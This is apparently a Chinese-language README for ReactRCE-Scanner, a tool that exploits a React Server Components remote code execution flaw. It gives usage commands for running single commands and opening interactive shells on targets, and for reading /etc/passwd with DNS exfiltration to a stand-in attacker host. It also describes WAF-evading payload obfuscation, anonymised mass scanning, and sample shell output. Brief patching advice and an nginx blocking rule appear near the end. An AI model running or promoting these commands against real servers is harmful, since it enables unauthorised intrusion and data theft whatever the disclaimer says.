针对 CVE-2025-55182 的高级 React Server Components RCE 扫描器。功能:多阶段指纹识别、漏洞验证、DNS 数据外传、交互式 shell、载荷混淆以及专业报告(JSON/HTML/PDF)。仅限授权测试。
本工具专为教育与授权安全测试目的而设计。 在未获得事先书面同意的情况下,针对目标未经授权使用本软件,将违反国际计算机犯罪法律,包括《计算机欺诈与滥用法案》(CFAA)、GDPR 规定以及标准服务条款协议。作者及贡献者对本程序导致的任何滥用、非法操作或间接损害概不承担责任。请严格自行承担风险。
ReactRCE-Scanner 是一款企业级安全评估与验证框架,专为 CVE-2025-55182 [1] 设计,这是一个影响 React 服务器组件的严重远程代码执行(RCE)漏洞,影响版本范围为 19.0.0 至 19.2.0。
该框架弥合了理论漏洞研究与实际安全验证之间的差距。通过整合多阶段指纹识别、严格的误报削减、高级载荷混淆以及自动化多格式报告,它为安全工程师提供了精确的诊断能力。
| 使用 | 扫描结果 |
|---|---|
克隆仓库并使用自动化安装脚本或手动安装依赖来初始化环境:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
该框架通过模块化 CLI 架构运行,支持单目标验证、从文件列表批量扫描、交互式 Shell 生成以及合规报告。
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
该框架在载荷投递之前执行深度侦察。它分析多个 HTTP 头字段(X-Powered-By、Next-Action、RSC)、HTML 结构元标签(data-reactroot、__NEXT_DATA__)、静态构建资源以及 JavaScript 源码包 [2] [3]。
置信度评分分为四个等级:
CRITICAL(95%+): 多个正交指标确认存在易受攻击的 React 服务器组件运行时版本。
HIGH(75–95%): 识别到强结构指标,且版本精确匹配。
MEDIUM(50–75%): 存在部分框架标记;需要人工验证。
LOW(<50%): 检测到弱启发式特征;误报概率较高。
为保持操作完整性并防止意外服务中断,载荷在解锁任何利用阶段之前,必须通过严格的验证流水线。
Target URL / Endpoint
│
▼
[Stage 1] Framework & Header Detection
│
▼
[Stage 2] Component Version Analysis
│
▼
[Stage 3] Protocol Compatibility Check
│
▼
[Stage 4] Non-Destructive Safe Validation Request
│
▼
[Stage 5] Statistical Confidence Scoring
│
▼
Vulnerability Assessment Decision
为测试防御控制和 Web 应用防火墙(WAF),该框架内置了高级载荷生成器,支持:
编码方案: Base64、十六进制和八进制转换。
结构混淆: 动态字符串拆分、垃圾代码注入以及替代 require 方法映射。
带外(OOB)外带: 当直接响应通道受限时,通过 DNS 查询进行安全数据隧道传输。
成功建立会话后,操作员可以调用交互式 Shell 环境进行验证后枚举。
$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.
shell> whoami
www-data
shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux
shell> exit
[*] Terminating session and cleaning up temporary artifacts...
报告可以多种标准化格式(JSON、HTML、PDF、Markdown)生成,包含执行摘要、风险指标、详细技术发现、证据时间线以及 CVSS v3.1 评分细分 [4]。
高级参数通过 config.yaml 配置文件进行管理。以下是生产环境配置模板:
# ReactRCE-Scanner Production Configuration
timeout: 30
threads: 20
max_retries: 3
proxy: null
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
headers:
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
Accept-Language: "en-US,en;q=0.5"
Accept-Encoding: "gzip, deflate, br"
output:
format: "json"
directory: "./reports"
logging:
level: "INFO"
file: "exploit.log"
exploit:
obfuscate: true
encoding: "base64"
timeout: 60
scanning:
concurrent_scans: 20
rate_limit: 0.5
timeout: 30
fingerprint:
enable_deep_analysis: true
follow_redirects: true
analyze_assets: true
通过以下方式引用自定义配置文件执行扫描:
python exploit.py -f targets.txt -C config.yaml -o report.json
该仓库包含全面的单元测试和集成测试套件,以确保各版本间模块的稳定性。
# Execute the complete automated test suite
python exploit.py --test
# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed
Tests passed: 5/5
供贡献者搭建本地开发环境:
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt
# Run pytest unit tests
pytest tests/
# Format and lint codebase
black exploit.py
flake8 exploit.py
打补丁: 立即将 React 包升级到 19.2.1 或更高版本。将 Next.js 实例更新到 15.0.4+ 版本 [5]。
监控: 检查 HTTP 访问日志中可疑的 Next-Action 头值以及未验证的原型引用(__proto__、constructor)[6]。
网络加固: 限制应用服务器的出站递归 DNS 查询,以防止数据外带。
# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
return 403;
}
if ($request_body ~* "constructor") {
return 403;
}
if ($request_body ~* "child_process") {
return 403;
}
if ($request_body ~* "execSync") {
return 403;
}
欢迎贡献、功能请求和错误报告。请遵循标准的 fork-and-pull request 工作流:
Fork 仓库(https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork)
创建功能分支(git checkout -b feature/AdvancedScannerModule)
提交更改(git commit -m 'Add advanced scanning heuristic')
推送到分支(git origin push feature/AdvancedScannerModule)
打开 Pull Request
基于 MIT 许可证 分发。更多信息请参见 LICENSE。
由 CerberusMrXi 精心打造 最后更新:2026 年 8 月
| 功能类别 | 实现亮点 | 运行状态 |
|---|
| 智能指纹识别 | 多源框架与版本检测,配备置信度评分算法。 | ✅ |
| 多阶段验证 | 5 阶段验证流水线,旨在系统性地消除误报。 | ✅ |
| 载荷生成 | 混淆载荷构建器,支持 DNS 外带与多重编码。 | ✅ |
| 交互式 Shell | 在已验证目标上实现实时伪交互式命令执行与 Shell 访问。 | ✅ |
| 全面报告 | 自动生成 JSON、HTML、PDF 和 Markdown 格式报告。 | ✅ |
| DNS 外带 | 通过安全 DNS 查询处理实现带外命令输出外带。 | ✅ |
| 并发引擎 | 高性能多线程扫描架构,适用于大规模攻击面。 | ✅ |
| 代理集成 | 支持 HTTP/HTTPS 和 SOCKS 代理,用于匿名化评估流量。 | ✅ |